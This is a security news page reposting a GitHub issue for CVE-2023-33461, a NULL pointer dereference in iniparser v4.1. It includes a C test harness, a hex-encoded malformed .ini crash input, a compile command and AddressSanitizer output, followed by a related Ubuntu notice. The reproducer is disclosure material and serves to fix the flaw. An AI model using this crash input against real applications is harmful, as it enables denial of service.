Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-33461: NULL pointer cause crash in iniparser_getboolean. · Issue #144 · ndevilla/iniparser

iniparser v4.1 is vulnerable to NULL Pointer Dereference in function iniparser_getlongint which misses check NULL for function iniparser_getstring’s return.

CVE
#c++

when input a wired ini file ,there is a crash found.
int main (int argc, char** argv)
{
dictionary * ini ;
char * ini_name ;
char* filename = argv[1];
char* fuzzstr = {0xff,0x00};
ini = iniparser_load(filename);
if (ini!=NULL) {
int b = iniparser_getboolean(ini, fuzzstr, -1);
char* s = iniparser_getstring(ini, fuzzstr, NULL);
int i = iniparser_getint(ini, fuzzstr, -1);
double d = iniparser_getdouble(ini, fuzzstr, -1.0);
iniparser_dump(ini, stdout);
iniparser_freedict(ini);
}
}
input in .ini file:
“\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x42\x9e\x20\x4a\x09\x96\xe4\x6d\xf8\xb5\x6f\x35\x9b\xca\xc5\xd2\xa0\x39\x11\x21\x52\xd8\xcf\x6c\x52\x61\x7c\x3d\xd0\xad\xf7\x13\x4b\x17\x5d\x54\xad\x42\xc1\xa5\xf7\x30\xda\x92\xfa\xa0\x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b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x1f\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d\x0a\x0a\x5b\x5d”

compile:
gcc -fsantize=address test.c ./src/iniparser.c ./src/dictionary.c -o testdemo -I ./src/

run and find a crash:

==2145962==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x556d37d6dce3 bp 0x7ffedb8fc080 sp 0x7ffedb8fc040 T0)
==2145962==The signal is caused by a READ memory access.
==2145962==Hint: address points to the zero page.
#0 0x556d37d6dce3 in iniparser_getboolean …/src/iniparser.c:559
#1 0x556d37d69f57 in main /opt1/software/newtest/iniparser/test.c:19

the vuln is in function “iniparser_getboolean” miss check for function “iniparser_getstring” 's return. when iniparser_getstring return NULL, the code in 559 will cause crash .

Related news

Ubuntu Security Notice USN-6486-1

Ubuntu Security Notice 6486-1 - It was discovered that iniParser incorrectly handled certain files. An attacker could possibly use this issue to cause a crash.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907